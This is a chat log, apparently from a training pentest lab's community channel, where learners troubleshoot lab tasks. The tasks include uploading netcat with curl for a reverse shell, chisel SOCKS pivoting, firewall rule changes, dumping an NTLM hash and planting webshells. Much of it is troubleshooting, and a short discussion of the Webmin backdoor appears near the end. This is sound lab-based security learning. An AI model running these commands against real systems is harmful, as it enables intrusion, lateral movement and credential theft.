Got exactly the same thing

[merry robin]

That indicates that the upload to the target isn't working. What's your webserver showing?

[merry robin]

Uh

What are you trying to do here?

[high totem]

I’m on task 20

[merry robin]

Ok, that looks good. Are you trying to upload netcat to get a shell back?

[high totem]

Yes

[merry robin]

Ok, so show me the Python webserver serving it?

[high totem]

But after downloading it from the task, then from github, then from the tools I downloaded at the beginning of the network, I keep getting the exact same error

[merry robin]

So, that's the problem

It's 404'ing

[high totem]

404ing?

[merry robin]

See in the log there, the code 404?

That indicates File not found

[high totem]

Yes

[merry robin]

Stop the webserver and do ls?

[high totem]

Yes, I did it

All three recent nc are there

[merry robin]

Can you show me?

[merry robin]

Ok, so it's not called nc, the file you're trying to upload

So when you're doing curl, you'll need to use the full file name

[high totem]

The task asks us to rename, yes? Using our usernames

[merry robin]

Yep, but you'll need to upload it using whatever it's actually called

So try starting the webserver again, then grabbing it with curl http://10.50.107.8/nc-tzipi -o nc-tzipi

[restive trout]

I have a question related to smb authentication. Does smb require mutual authentication? I tried to copy a file without enabling the -user and the -password option and it just failed, despite the server returning a successful authentication message to the client

[merry robin]

Then show me the webserver output 🙂

[high totem]

Ahhhhhhhhhhhhhhhhh

[merry robin]

Mutual authentication?

[restive trout]

yes, by that I mean the client has to authenticate and the server has also to prove that he knows the secret.

[merry robin]

It shouldn't do, afaik

[restive trout]

the "net use" command didn't work without the -user and -password options on the server

[merry robin]

So that is to do with the settings on the Windows server

Default Windows Server 2019 won't allow connections without authentication

[high totem]

I hope this is correct....
I found my mistake.... the python web server was being done in the wrong directory

I got both the nc and the web server in the same place....

It’s 12:30 at night here and I’m doing this after working 10 hours operating industrial machines....

I apologize for the stupidity

[merry robin]

Not at all -- it happens

You've seen it once now, so you'll know for next time. That's the important bit! 😄

[high totem]

Oh I’ll never forget this experience..... I’m learning a lot... trying not to give up!
Now I can hopefully go on and not bother you anymore for the night!!!!!!

Thank you so much again 😊

[merry robin]

Anytime 🙂

[restive trout]

@Muiri, Does it mean that it tries first to connect without authentication and if it's successful it disconnects? I'm having a hard time understanding.

[merry robin]

Essentially, net use lets you configure connections to shared resources. If there's no authentication then you can just skip that bit entirely because there's no configuration necessary -- you can just connect directly. If you try to connect without specifying the credentials, the user account on Windows tries to connect using it's own credentials, which are denied obviously.

[high dirge]

Iam facing another issue

I have made a chisel connection and all ok and I did forward it to port and get the connect (task 33)
but when I try to reach the webapp on (||.100|| host) I cant

[merry robin]

So the connection was successful if you didn't use net use first, but the authentication was not

[merry robin]

Are you connecting through proxychains/foxyproxy?

[high dirge]

foxyproxy

[merry robin]

What error are you getting?

[high dirge]

just got it, get scared and remember things I read in pivot section ty

[merry robin]

Well done! 🙂

Ahaha, why the worried face?

[high dirge]

cause of this 🙂
😂 😂 😂

[merry robin]

🙂

[slow cove]

yo

hate to be that guy

but I am getting failed to connect in task 6 for the CVE

I still didn't test any other exploits outside the one coded by the one and only Muiri

[merry robin]

What IP? And can you ping it?

[slow cove]

10.200.111.200

I cant ping it but when I visit the dns it works

that's why I was like something's wrong

didn't reset it

" yet "

[merry robin]

There isn't any DNS in there. Did you add anything to your hosts?

[slow cove]

I added thomaswreath.thm

so we can enumerate and so on

[merry robin]

So, that's why it's connecting to the box

Can you connect to port 10000 on it?

[slow cove]

nope

We needed to add a DNS in the previous lecture tho

[merry robin]

It was adding a line to your hosts file. DNS isn't something we control as hackers

Could you disconnect from the VPN and DM me the config file?

[slow cove]

sure thing

[merry robin]

I'll have a look at the box and make sure it's all working 🙂

[slow cove]

sent

Muiri = Problems solved ! Thanks boss

[hasty turtle]

Just finished it. Amazing. Definitely will play it again in the future and do all the bonus questions that I skipped this time XD

[restive trout]

@merry robin Sorry to bother you again. I did some tests and basically the client stops the connection when the server doesn't sign the message. The signature requires the server to know the user password hash.

[ember solstice]

Hey, hopefully my last question regarding this Network haha, I can't stop the || service || on .100:
||sc stop SystemExplorerHelpService
sc stop SystemExplorerHelpService
[SC] ControlService FAILED 1052:

The requested control is not valid for this service.||

[sly spear]

It says I have 9 days of access left. Does that mean I have to finish Wreath in that time?

[strange bison]

You can rejoin after that time expires

[sly spear]

Okay, perfect! Thank you

[strange bison]

It's mostly so that people don't take spaces up in networks when they're not working on Wreath

[dry pendant]

But the network state might get reset during the time block, or after being 'evicted', right? I.e. backdoors you install/configs you change would be reset

[strange bison]

Yeah the network might be reset during those 10 days. Important to keep notes.
When you rejoin, I don't think you'll get put onto the same network.

[dry pendant]

thanks. I'm gonna start on it tomorrow

[ember solstice]

Thought maybe because other people were doing the priv esc part it was throwing an error but im still getting the same error.

[high dirge]

hey,
Iam in the last few tasks and when I try to stop the services on the win I got this error

[ember solstice]

Same

[high dirge]

what could it be ?

@merry robin
sorry for bothering you, but if you can help 🙂

[ember solstice]

Are you on .83 ?

[high dirge]

yay

[ember solstice]

yeah same

[high dirge]

so its an issue in the network we are in ?

[ember solstice]

Maybe

[high dirge]

so what do you think we should do

[ember solstice]

Probably wait for Muiri to take a look at it

welp there goes all my connections chisel died on me

[ember solstice]

Maybe we should vote for a reset @high dirge

[high dirge]

sure

just 2/8 will not do the job

[ember solstice]

I don't know what else we can do but wait, either for a reset or for Muiri

[high dirge]

I finished all other tasks and trying to keep my connection

[ember solstice]

yep, i just need Administrators NTLM hash

[merry robin]

Try deleting the System.exe binary and starting the service to reset it. That should happen every 5 minutes anyway

[high dirge]

my listener after a while LOL

[ember solstice]

did you mange to get it working ?

[high dirge]

nope seem like I will give up and get the hash from dark video 😦

[merry robin]

Which subnet is this?

[ember solstice]

.83

[high dirge]

.83

[merry robin]

Ok. Could you possibly disconnect @ember solstice? (Apologies, I know it's a lot of pivoting to get back). I'll go in and reset it manually

Oh, actually, I can get it to send you a shell straight back on a timer after sorting it

[ember solstice]

sure, Thanks

done

[merry robin]

I have got to get a management interface sorted smh

[high dirge]

what should we do ?

[merry robin]

Nothing for now. I'm just fixing it

[high dirge]

tyt thank you

[merry robin]

Should be fixed, if you wanna go for it

@ember solstice just setting up a reverse shell for ya

[ember solstice]

Thanks 😆

[merry robin]

Or not. Forgot about defender

Oh, but

[high dirge]

it is I can stop and restart it but cant get rev shell odd

[merry robin]

Have you checked your wrapper is working?

[high dirge]

how can I ?
i did exactly what in the tasks

[ember solstice]

Muiri should i connect back ?

[merry robin]

@ember solstice Apologies -- you are going to have to go back through it. I can't set up a task to send a shell back without breaking the way it's set up 😦

Yeah -- connect back though 🙂

[ember solstice]

Its alright, i've bugged you enough hehe, thanks for fixing

[merry robin]

Try just running the wrapper with your own account and see if it connects back?

[high dirge]

it work and give me the same shell (thomas) but when I do the sc stop and start nothing happen

[ember solstice]

||whoami
whoami
nt authority\system|| 😄

[high dirge]

that fast ohh Congrats 🔥 😃

[woven warren]

good notes help get back to where you were quickly

[ember solstice]

haha thanks still have to get the hash

[merry robin]

Sounds like that might have been because Cyb3ri0us overwrote your shell 😆

Try copying it in then restarting the service once more?

[woven warren]

are you doing a youtube for the room @ember solstice

[high dirge]

Worked Thanks for all Muiri, ||you are a hero for creating such a network ||, pleasure to know you and thanks for all the help.

[merry robin]

You are most welcome! 😄

[ember solstice]

Oh im sorry,

[merry robin]

Nae worries 😄

Everyone's got there in the end

[ember solstice]

Maybe 👀

Finished ! Again, Muiri this is like the 3rd time im telling you but this was super awesome, thanks for putting it together

[lusty basalt]

hello?

[whole citrus]

Finished wreath today. Great work. Had a few minor issues with empire not running modules but just transferred the files instead. Learnt a lot for sure and hope more like this can come to try hack me. Windows is a fresh domain to me, and my next step in pen testing. Running winpeas isn’t enough to please me@

[merry robin]

May have a few ideas for that 👀

[fierce knoll]

Hey, I'm on the PC machine and I uploaded winpeas to the temp folder, and I tried to run del command on winpeas exe to do clean up. But the system says it can't find the said file. Why is this? Sorry for this simple question, but I couldn't figured it out. Network is great by the way, I enjoyed it a lot :)

[woven warren]

are you as root

[fierce knoll]

No

I thought if I can upload I can delete as well

[woven warren]

or an escalated user, it depends on the user account that uploaded the file if you can see it

[fierce knoll]

Do I need more privileges than the account I uploaded as to delete the same file I uploaded?

[merry robin]

No, it was caught by defender and deleted automatically

[fierce knoll]

It was obfuscated, I can still run it

[worthy garden]

Not sure if this already asked..Will this room available after 9apr?

[strange bison]

Yes.

[worthy garden]

Great, thanks

[thorny thistle]

Are there any problems? This evening all was working ok, but now I can't access the network. Destination Host Unreachable. I reloaded the vpn many times but still nothing.

[merry robin]

Check that the network is still active?

[thorny thistle]

Now it's working again.

Don't know what happened. Apparently it was running. Thanks anyway.

[young roost]

Thanks a lot for the amazing network, Muiri just completed it. Was super educational and fun at the same time

[blazing rock]

Congratulations. 🥳 Did you submit your Pentest Report? 😎

[fierce knoll]

Hi, how can I delete the netcat binary in the temp directory when I am still connected through netcat?

It says access denied

[blazing rock]

Connect through a new ssh?

[fierce knoll]

I see, thanks

[young roost]

Making one right now, and trying to structure it more properly

[trail kite]

Im trying to set up a forward socks proxy to git-serv but im getting the following error:

*Evil-WinRM* PS C:\Users\Administrator\Documents> netsh advfirewall firewall add rule name="Chisel-bluemoon" dir=in action=allow protocol=tcp localport=8888
Ok.

*Evil-WinRM* PS C:\Users\Administrator\Documents> ./chisel.exe server -p 8888 --socks5
chisel.exe : 2021/03/27 00:22:05 server: Fingerprint DXdZdW4k0QztEjfKp2MMZLU6rrc6NZTl01ixlgS8LhQ=
    + CategoryInfo          : NotSpecified: (2021/03/27 00:2...ZTl01ixlgS8LhQ=:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2021/03/27 00:22:05 server: Listening on http://0.0.0.0:8888

[merry robin]

@trail kite is that an error?

Or is it saying that it's listening?

(Also, what happened to only opening ports over 15000? 😛 )

[trail kite]

i tried on different ports

i was first working on 28080 then 28888 then 18080 then 18888

lol

[trail kite]

i think its an error but idk. im unable to get the socks to work

[merry robin]

I mean, that's executing correctly

[trail kite]

maybe im doing smtg wrong. let me retry. stand by

[merry robin]

The command output you showed indicates that the listener is set up correctly

[trail kite]

im getting this error tho

./chisel client 10.200.109.150 1337:socks
2021/03/26 20:43:43 client: Connecting to ws://10.200.109.150:80
2021/03/26 20:43:43 client: tun: proxy#127.0.0.1:1337=>socks: Listening
2021/03/26 20:43:43 client: Connection error: websocket: bad handshake
2021/03/26 20:43:43 client: Retrying in 100ms...
2021/03/26 20:43:43 client: Connection error: websocket: bad handshake (Attempt: 1)
2021/03/26 20:43:43 client: Retrying in 200ms...
2021/03/26 20:43:43 client: Connection error: websocket: bad handshake (Attempt: 2)
2021/03/26 20:43:43 client: Retrying in 400ms...
2021/03/26 20:43:44 client: Connection error: websocket: bad handshake (Attempt: 3)
2021/03/26 20:43:44 client: Retrying in 800ms...
2021/03/26 20:43:45 client: Connection error: websocket: bad handshake (Attempt: 4)
2021/03/26 20:43:45 client: Retrying in 1.6s...
2021/03/26 20:43:47 client: Connection error: websocket: bad handshake (Attempt: 5)
2021/03/26 20:43:47 client: Retrying in 3.2s...
2021/03/26 20:43:50 client: Connection error: websocket: bad handshake (Attempt: 6)
2021/03/26 20:43:50 client: Retrying in 6.4s...
2021/03/26 20:43:56 client: Connection error: websocket: bad handshake (Attempt: 7)
2021/03/26 20:43:56 client: Retrying in 12.8s...

i do have sshutte

[merry robin]

You haven't specified the port to connect to there

./chisel client 10.200.109.150:8888 1337:socks

[trail kite]

oh yeh

*18888 🤪

[merry robin]

It was 8888 here?

Whichever though 🤷‍♂️

[trail kite]

well i changed it 🙂

cause im a good boy 😉

[merry robin]

Preferably 18888 because it doesn't screw it for other people 🙂

[trail kite]

ok it works now. thanks for the help. although i didnt get #wreath-network message error previously, i got a different error in ff, but i probs just misconfigured smtg

thanks for the help!

[merry robin]

Np 😄

[trail kite]

also thx for making this network. ive been working the last week to keep up a streak (this is my second longest lol after AoC lol)

also, i realized why it wasnt working initially. i was trying to connect a socks forward to socks backwards

😐

[trail kite]

quick question, can i get foxyproxy to only run certain subnets through the proxy or no?

[merry robin]

Yes, although I think that's just in foxyproxy standard

[trail kite]

so like not the extension?

[merry robin]

Different extension

[trail kite]

would u recommend it and if so can u send the link so i dont download a virus 😅

[merry robin]

I'm pretty sure there's a link in the room?

Or not

https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

[lusty basalt]

did someone disable port 22 and 10000 from the first machine?

I cant access neither

can we reset it?

[strange bison]

Remember, there are lots of instances of wreath. If you want other people on your ne twork to reset it, you need to specify which network you're on. The third octet.

[merry robin]

Check that your network is still active 🙂

My PC is off so there isn't much I can do to debug

[lusty basalt]

its the .200 one

[merry robin]

That's the fourth octet

[lusty basalt]

.112

[merry robin]

Check that it's still active. Otherwise go for a reset

If it's an actual problem then others will no doubt help

[lusty basalt]

I went for a reset

2/6 votes

[lusty basalt]

I really cant do anything at all until it gets reset

[high totem]

Hello.... it’s me again.... after yesterday... I could set up the nc.... but now after running
./nc-tzipi -lvpn 16543 (16543 is the port I used for the firewall) ... haha.. 😖nothing happens 😖

I watched the walkthrough video and it seems I’ve done everything correctly up to now .... but the
PC C:\Gitstack\gitphp>
Prompt never comes 😢

[high totem]

And another thing.... while I wait for precious help on the issue above, I went ahead and tried to install empire here.... to find out Parrot OS is not supported 😳

[marsh tinsel]

1. Have you tried typing a command?
2. I have already installed Empire on parrot

[high totem]

Tried starting it and it says unsupported OS, closes right on my face

[trail kite]

does anyone know why my command wont run?

the dir command works but not systeminfo

[trail kite]

u can try to install in with docker perhaps?

[high totem]

I’ll google and see how I do that!

[trail kite]

https://github.com/BC-SECURITY/Empire#docker

[bright knoll]

For me building for source worked

But the gitserv agent after connection established just died

Had same issue with powershell Rev shell

[high totem]

YAAAAAAAY!!!!!!!!!!!!!! Thank you so much 😊

[high totem]

Installed Starkiller too （╹◡╹）now if I only can get this nc to work, I’m ready to continue, hopefully lol

Big thank you to @trail kite for pointing me in the right direction! 😊

[undone bobcat]

Im unable to reach https:thomaswreath.thm even after updating etc/hosts file
I have tried it in different OS (Kali & windows ) ,different browsers but nothing happens

[trail kite]

Are you connected to the wreath network? Can you ping the ip?

[charred fern]

Hi.. I always get "An unexpected network error occurred" whenever I try to move system.bak file to my machine but moving sam.bak works fine...

[faint badger]

I am get a HTTPClient::ConnectTimeoutError happened with the admin or with my only login info using evil-winrm.

[merry robin]

I'm wondering if that might be your MTU in the VPN, give the system.bak file is pretty big.
Did things like the chisel upload work for you?

[merry robin]

That sounds like the network isn't up, or you don't have access to the port

[charred fern]

yeah everything worked fine.... it's just copying the file is a challenge now.

[merry robin]

It sounds like the VPN, tbh.
If you want, I can just send you the file?

[charred fern]

That will be perfect..Please do..

[undone bobcat]

Yes I’m connected to wreath network and I can ping the ip

[merry robin]

What happens when you just go to the IP in your browser?

[undone bobcat]

It shows the connection has timed out

[merry robin]

Do you have a VPN on @undone bobcat?

[undone bobcat]

No

[merry robin]

But you have the Wreath VPN on, yes?

[undone bobcat]

Yes

I have connected using openvpn

[merry robin]

Ok, could you disconnect and DM me the .ovpn file please?

[undone bobcat]

Yeah I will 1 min plzz

[trail kite]

so i turns out this one is a slightly different version than the one linked in the room...

but thx, this one is better imo

[high totem]

@merry robin Hello.... it’s me again.... after yesterday... I could set up the nc.... but now after running
./nc-tzipi -lvpn 16543 (16543 is the port I used for the firewall) ... haha.. 😖nothing happens 😖

[hard summit]

i think its a dumb question but i was doing task 14 do i have to do same stuff thats is in task on the machine or i have to read them and answer the question

[lusty basalt]

Nope

I'm trying to do the network again

First machine still not working

We HAVE to vote for the reset

otherwise its gonna stay broken because no one is fixing it

Has been broken since yesterday

[strange bison]

Ok but remember there's several instances of the network. If you're pushing people to reset, you NEED to say which one you're on.

[lusty basalt]

.112

[merry robin]

Was that not the point?

[merry robin]

Make sure that the firewall is still open from yesterday 🙂

[hard summit]

??

[merry robin]

Wdym?

@limber rover is everything Ok with 112?

[latent spoke]

I'm on .112 too, but I'm on Task 10

[strange bison]

Can you access the webmin on the first machine tho?

[latent spoke]

I have an ssh session to it

using the id_rsa

let me try webmin

yep

webmin is working

[strange bison]

And the webserver?

[latent spoke]

up

10.200.112.200 right?

Everything is functional 🤷

[lusty basalt]

@latent spoke @strange bison

still

[strange bison]

Ok.

[latent spoke]

Hmm?

[strange bison]

it's working.

[lusty basalt]

let me check the ssh

[lusty basalt]

gonna try regenerating the vpn

thing is, everything else apart from SSH and the Webmin port works

[latent spoke]

Just curious have you added the domain name to /etc/hosts shouldn't change anything but still

[lusty basalt]

the thomaswreath.thm entry?

[latent spoke]

yeah

I'm on the same machine as you are and it's working for me

[lusty basalt]

Gonna regen the vpn

[latent spoke]

if you want I can leave you a revshell 🙃

[lusty basalt]

Yes please, or just the simple-backdoor.php from webshells

I'm already at 63% done, I dont know why this is happening to me

[latent spoke]

I'll use the php-reverse-shell.php one?

Can you give me the IP and the port you're listening on?

[lusty basalt]

sure

1 sec

[latent spoke]

I'll upload the rev shell to the web root

[lusty basalt]

wait no

never mind

figured out what it was

[latent spoke]

ooh did it work?

[trail kite]

1178 lines of readme.md later, im done 🙃

[lusty basalt]

yup, NordVPN was blocking it for some apparent reason

I just turned off my vpn XD

[strange bison]

[latent spoke]

[lusty basalt]

SORRYYYY

[strange bison]

Don't run VPNs in VPNs.

[lusty basalt]

xD

I mean, it has worked with Proving Grounds vpn

idk why it didnt in this one

Thanks for the help tho

[latent spoke]

Anyone know why can't we use UDP scans when pivoting using proxychains? This is in regard to task 10.

You can only use TCP scans -- so no UDP or SYN scans. ICMP Echo packest (Ping requests) will also not work through the proxy, so use the -Pn switch to prevent Nmap from trying it.

[strange bison]

proxychains doesn't support UDP it seems

[lusty basalt]

Ain't it because proxychains forces TCP only?

[latent spoke]

interesting, you're corect James.

Now we can proxify any program. To check if it is working fine, we can run a Nmap scan to the target machine. Note that proxychains allows only TCP tunneling, so we can’t use UDP communications . We can simply force Nmap not to perform ping scans with the option –PN. Let’s then run the following command and see if we are able to scan the target:

~ https://blog.elearnsecurity.com/nessus-and-metasploit-scan-networks-in-pivoting.html

That's interesting, will need to take a look at this later 👀

[strange bison]

interesting, you're corect James. you say that like it's uncommon. I googled it before asking because I suspected it didn't support UDP

[latent spoke]

haha, that interesting wasn't meant in that sense 😄

it was more about reversing proxychains later on 😈

[compact island]

Hi, @merry robin
I have an issue, the ||/resources|| won't load after I entered credentials on the .106
Can you help me plz ? Thanks

[merry robin]

You sure you have the right credentials @compact island?

[compact island]

yes

And the page is loading

ow

sorry

I'm a idiot xD I was thinking that was Thomas and the password twreath

[merry robin]

Heh, second time I've seen that. Don't worry

[compact island]

Ok, Thanks

[lusty basalt]

nuuuuuuuuuuu network reseeeeeeettt

reeeeee

sad day

[merry robin]

Weren't you the one who cast the first vote?

[dry pendant]

task 6 reference [1] link broken ?

[merry robin]

Works for me?

[dry pendant]

hm. might be my connection/network. odd

[surreal sail]

i have a question, it says that i have 5 days of access left, i still haven't really done anything in the room just a few questions. will my access be revoked after 5 days or can i still access it?

[strange bison]

You'll have to rejoin

But there are no requirements for that rejoin.

[surreal sail]

and the progress?

[strange bison]

Kept.

[surreal sail]

alrighty. thanks

[strange bison]

Obviously if the network is reset you'll need to do a bunch of stuff again because your files and stuff will be gone

[surreal sail]

understood.

[lean patrol]

#documentation

[merry robin]

Hm?

[lusty basalt]

yes but it eventually started working, was almost done

[merry robin]

The current record is 30 seconds from starting sshuttle to RDP on .100

See if you can beat it

[dry pendant]

Muir- is there possibly a bug in your github exploit code? Line 117-121 should be indented, inside the catch exception block?

or am I reading this wrong?

[cobalt pumice]

Anyone have or had issues on task 20?

Able to post commands via curl and burp....no luck with a shell....unless my syntax is off someplace....idk

[merry robin]

Nah -- by that point it's a separate condition

[merry robin]

What's the error?

[cobalt pumice]

Returns " "

Via curl

I feel like my syntax is not right

[merry robin]

That would indicate that it's trying to connect back, and isn't

What command are you using?

[cobalt pumice]

Powershell.exe -c ..........

[merry robin]

As in, full curl command?

Substitute the payload with SNIP or something

[distant folio]

Hello, when pivoting from the first box to the second one (using the netcat method) I've tried opening up port 42069 ( 😏 ) on box1, but when the box2 connected to me, it closed immediately the connection, so then i've tried using port 16001 and it worked perfectly 🙂

[cobalt pumice]

Same one you are usng in guide

[merry robin]

Did you URL encode it?

[cobalt pumice]

I did

On 2 seperate sites... just in case

[merry robin]

What are you using to catch it?

[cobalt pumice]

Netcat

But then again, ports im using might be taken?!

Ill try again later. Its no biggie Muir.

[merry robin]

Make sure the firewall is set up for it

[cobalt pumice]

Initially i forgot to allow said ports...

Ill give it a rest and maybe do a reset later. Thank you for the reply!

[merry robin]

I will chuck you out Cryillic

[cobalt pumice]

I saw it....👀

[jagged lion]

you cant oppress superiority

[merry robin]

Good think I'm not oppressing superiority then

I'm just oppressing you

[dry pendant]

so I started digging into how the webmin backdoor was installed. They say it was in part because the file's timestamps were modified to not show up in a git diff. But doesn't git diff based on file hashes, NOT timestamps?

even back in 2018?

[strange bison]

This module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site. Unknown attacker(s) inserted Perl qx statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled. - I don't think git was involved at all?

[dry pendant]

on https://www.webmin.com/exploit.html:
At some time in April 2018, the Webmin development build server was exploited and a vulnerability added to the password_change.cgi script. Because the timestamp on the file was set back, it did not show up in any Git diffs. This was included in the Webmin 1.890 release.

[merry robin]

I would suspect that if you set it to a timestamp before the last commit, git would still use the last commit to compare hashes. i.e. it would ignore your commit and use the hash for the latest one (the legitimate one)

[dry pendant]

if I do a git diff locally, wouldn't git be checking file hashes, not timestamps?

[merry robin]

Don't quote me on that though -- it's a pure guess from a programmer's perspective

[dry pendant]

yeah, I'm just guessing too.

but I guess their build process does a git pull, and somehow that pull process isn't overwriting the backdoor'ed file

clever

[brave forge]

Hi guys

I need some help

I'm trying to download the Website.git but I can't

Is there any alternative to download it?

@merry robin Can you help me a little? Sorry for the ping

[high totem]

I am still having trouble too

After setting the firewall-cmd —zone=public —add-port 16543/tcp
I get success

But when I do ./nc-tzipi -lvnp 16543

Nothing happens

[merry robin]

That's a listener -- you also need to send the command 🙂

[merry robin]

At a guess I would say you might not be in a writeable directory

I haven't seen that error. Try putting a full path on the download?

download Website.git /tmp/Website.git for example?

[high totem]

?

[cobalt pumice]

I just realized what I was doing wrong lol

But yeah, you need to hit that listener with a command

[high totem]

So sorry I’m bothering you again Muiri

I thought after doing the firewall the next command would be the nc?

[merry robin]

So, the listener won't actually do anything by itself -- it's just sitting there waiting for connections. You need to post the powershell script to the webshell as well

Yep, it is

Firewall -> nc listener -> curl the command to the Git server

[cobalt pumice]

Muir, i was listening on my attack machine 👀

[high totem]

The one encoding the URL?

[merry robin]

🤣 Love it 😁

Set up a socat relay and be done with it

[merry robin]

Yep 🙂

[high totem]

I did it yesterday but nothing happened... I’ll do again!

[cobalt pumice]

I was banging my head against the wall lmao...

[merry robin]

If I were to do a "get into VC and share your collective screens" for Wreath once a week or something, would that be helpful?

Might also record another video in depth for this section given it seems to be confusing people quite frequently

[cobalt pumice]

It makes sense why I cant listen on my local...Sometimes reading someone elses mistake makes you realize your mistake